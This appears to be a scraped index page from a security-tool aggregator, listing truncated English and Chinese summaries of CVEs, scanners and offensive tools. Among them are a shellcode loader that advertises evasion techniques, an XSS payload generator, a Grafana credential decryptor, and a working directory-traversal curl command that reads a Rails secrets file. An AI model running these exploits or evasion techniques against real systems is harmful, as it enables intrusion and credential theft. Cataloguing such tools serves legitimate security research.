CVE-2026-89246 WWBN AVideo CSV Formula Injection via myComments.download.php

WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a CSV formula injection vulnerability in the myComments.download.php endpoint that fails to sanitize spreadsheet formula prefixes in comment text. Authenticated users can inject formulas starting with =, +, -, or @...

CVE-2019-2888

CVE-2019-2888 WebLogic EJBTaglibDescriptor XXE漏洞 https://www.oracle.com/security-alerts/cpuoct2019.html fernflower.jar weblogic.jar/weblogic/servlet/ejb2jsp/dd/EJBTaglibDescriptor.class root@kitploit: ╭─root@jas502n /var ╰─ find ./ |grep EJBTaglibDescriptor  ✔  8388  18:32:43...

EUVD-2026-76054

WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a server-side request forgery vulnerability in the jsondecode function that fetches remote URLs and local file paths without SSRF validation. Unauthenticated attackers can POST file paths or HTTP URLs to login.json.php t...

CVE-2026-89242 WWBN AVideo Unauthenticated SSRF via login.json.php

WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a server-side request forgery vulnerability in the jsondecode function that fetches remote URLs and local file paths without SSRF validation. Unauthenticated attackers can POST file paths or HTTP URLs to login.json.php t...

CVE-2026-89242

WWBN AVideo versions through commit c3edcc274c389816d434acadac07ee78eaf330c1 contain a server-side request forgery (SSRF) in the _json_decode function, which fetches remote URLs and local file paths without validation. An unauthenticated attacker can POST file paths or HTTP URLs to login.json.php...

FileWatchTower

FileWatchTower - FWT 注意：本项目已不再维护，从已归档项目中发布以供参考。它面向任何对开发文件分析软件感兴趣的人开放。 FWT 是一款利用 Sysmon 事件的安全分析与文件监控工具。它跟踪 Sysmon 事件日志源所报告的文件，执行深入的安全分析，然后生成 XML 或 JSON 格式的报告。这些报告可以输出到日志文件、外部 API 或 Windows 事件。 开发此项目的动机是收集系统中新建或修改文件的额外信息，从而为安全分析师提供更深入的洞察并减少分析时间。此外，FWT 生成的信息还可用于创建多种新的 SIEM 检测规则。 注意：请务必以管理员身份运行 Visua...

laZzzy

laZzzy laZzzy 是一个 shellcode 加载器，演示了恶意软件常用的多种执行技术。laZzzy 使用了不同的开源仅头文件库开发而成。 功能特点 直接系统调用和原生（Nt）函数（并非全部，但大部分） 导入地址表（IAT）规避 加密载荷（XOR 和 AES） 随机生成的密钥 使用时自动用 NOP（\x90）填充（必要时） 内存中逐字节解密载荷 XOR 加密的字符串 PPID 欺骗 阻止非微软签名的 DLL 加载 （可选）克隆 PE 图标和属性 （可选）使用伪造证书进行代码签名 使用方法 环境要求： 安装了 Visual Studio 及其以下组件的 Windows 机器（可从...

RTLSDR-Scanner

RTLSDR Scanner 版权所有 2012-2015 Al Brown al at eartoearoak.com 一个跨平台的 Python 频率扫描 GUI，用于 OsmoSDR rtl-sdr 库。 更多详情请参见这里。 还提供一份基本的用户手册。 已在以下系统上测试： Windows 7（x86 和 x64） Windows 8.1（x64） Ubuntu 12.04（x86） Ubuntu 12.10（x64） Ubuntu 13.04（x64） Ubuntu 14.04（x64） OS X Snow Leopard OS X Mountain Lion 安装...

Mini_httpd-CVE-2018-18778

minihttpd任意文件读取漏洞（CVE-2018-18778） Minihttpd是一个微型的Http服务器，在占用系统资源较小的情况下可以保持一定程度的性能（约为Apache的90%），因此广泛被各类IOT（路由器，交换器，摄像头等）作为嵌入式服务器。而包括华为，zyxel，海康威视，树莓派等在内的厂商的旗下设备都曾采用Minihttpd组件。 在minihttpd开启虚拟主机模式的情况下，用户请求http://HOST/FILE将会访问到当前目录下的HOST/FILE文件。 root@kitploit: void snprintf vfile, sizeofvfile,...

Parth

Parth Heuristic Vulnerable Parameter Scanner Introduction Some HTTP parameter names are more commonly associated with one functionality than the others. For example, the parameter ?url= usually contains URLs as the value and hence often falls victim to file inclusion, open redirect and SSRF...

masc

masc 一款在 CyperCamp 2017 黑客松期间开发的恶意软件（网络）扫描器 关于 主页 PyPI 功能 目前，某些功能适用于任何类型的网站（自定义或CMS），而某些功能仅适用于特定平台： 使用 OWASP WebMalwareScanner 校验和、YARA 规则数据库以及 ClamAV 引擎（如果可用）扫描任何网站的恶意软件 执行一些清理操作以增强网站防护 监控网站的变更。详细信息会记录在日志文件中 扫描您的网站以了解是否感染了恶意软件 列出本地备份 日志支持 备份网站 恢复网站 扫描可疑文件并与干净安装版本进行比较（适用于 Wordpress 和 Drupal）...

CVE-2020-8193

Citrix ADC 漏洞 CVE 列表 https://support.citrix.com/article/CTX276688 添加 if while 代码 https://dmaasland.github.io/posts/citrix.html root@kitploit: responsestr = json.dumpsr.headers.dict'store' if r.statuscode == 406 and "Content-Disposition" in responsestr and r.headers"Accept-Ranges" == "bytes" and...

Burp_Collector

Burp Collector Burp Collector 是一个多进程工具，专为渗透测试人员和漏洞猎人在 Web/移动应用测试中设计。凭借其强大的功能，它简化了从 Burp Suite 文件中收集和提取信息的过程，使您能够高效管理 API 端点。 Burp Collector 高效地组织 API 端点，并将其无缝导出到 Excel 表格，确保项目结构清晰且易于访问。通过简化端点管理，它节省了宝贵的时间，让您专注于关键的测试任务。 开发者：Sagiv 功能特性 1. 收集并提取您在测试中交互过的所有 API 端点（SOAP、REST 和 GraphQL）到 Excel 文件 - 强烈推荐...

z80-sans

Z80 无衬线 你最喜欢的反汇编器是什么？我喜欢的是一个字体： https://github.com/user-attachments/assets/bb6ceb18-c2fd-40a9-be4f-202321a214d9 这个字体通过大量使用 OpenType 的 字形替换表（GSUB） 和 字形定位表（GPOS），将十六进制小写字符序列转换为反汇编后的 Z80 指令。 如果你只是想试试，可以在 ./test/z80-sans.ttf 找到一份副本。 安装 在 Debian GNU/Linux 12 上测试通过。注意，该 Debian 版本自带 ruby 版本 3，而 fontcust...

Grafana-Decryptor-for-CVE-2021-43798

Grafana Decryptor for CVE-2021-43798 该脚本用于解密受 CVE-2021-43798 影响的 Grafana 实例中的数据源密码，该漏洞允许未经授权的任意文件读取。 描述 Grafana 8.0.0-beta1 至 8.3.0 版本存在目录遍历漏洞，允许未经授权的用户读取服务器上的任意文件。本脚本利用该漏洞解密 grafana.db 文件中存储的数据源密码，所用密钥为 grafana.ini 配置文件中的 secretkey。 要求 Python 3.6+ 以下 Python 库： requests questionary termcolor...

CVE-2018-3760

CVE-2018-3760 Rails Asset Pipeline 目录遍历漏洞 由 Orange Tsai 发现 注意 ：默认情况下，以生产模式运行的 Rails 应用不受此漏洞影响。 漏洞利用： root@kitploit: curl -v http://127.0.0.1:3000/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/config/secrets.yml%3ftype=text/yaml 安全分析...

xssless

xssless An automated XSS payload generator written in python. Usage 1. Record requests with Burp proxy 2. Select requests you want to generate, then right click and select "Save items" 3. Use xssless to generate your payload: ./xssless.py burpexportfile 4. Pwn! A more detailed tutorial can be fou...

caracal

Caracal Caracal 是一个针对 Starknet 智能合约的 SIERRA 表示的静态分析工具。 功能特点 检测器：检测易受攻击的 Cairo 代码 打印器：报告信息 污点分析 数据流分析框架 易于在 Scarb 项目中运行 安装 预编译二进制文件 预编译的二进制文件可在我们的发布页面获取。如果您使用的是 Cairo 编译器 1.x.x，请使用 v0.1.x 二进制文件；如果您使用的是 Cairo 编译器 2.x.x，请使用 v0.2.x。 从源码构建 您需要安装 Rust 编译器和 Cargo。 从 git 构建： root@kitploit: cargo install...

caracal

Caracal Caracal is a static analyzer tool over the SIERRA representation for Starknet smart contracts. Features Detectors to detect vulnerable Cairo code Printers to report information Taint analysis Data flow analysis framework Easy to run in Scarb projects Installation Precompiled binaries...

hsecscan

hsecscan 一个用于HTTP响应头的安全扫描器。 要求 Python 2.x Python 模块 os.path argparse sqlite3 urlparse urllib2 urllib json ssl 安装 root@kitploit: $ pip install hsecscan 使用 root@kitploit: $ hsecscan usage: hsecscan.py -h -P -p -H Header -u URL -R -i -U User-Agent -D DBFILE -d 'POST data' -x PROXY -a A security...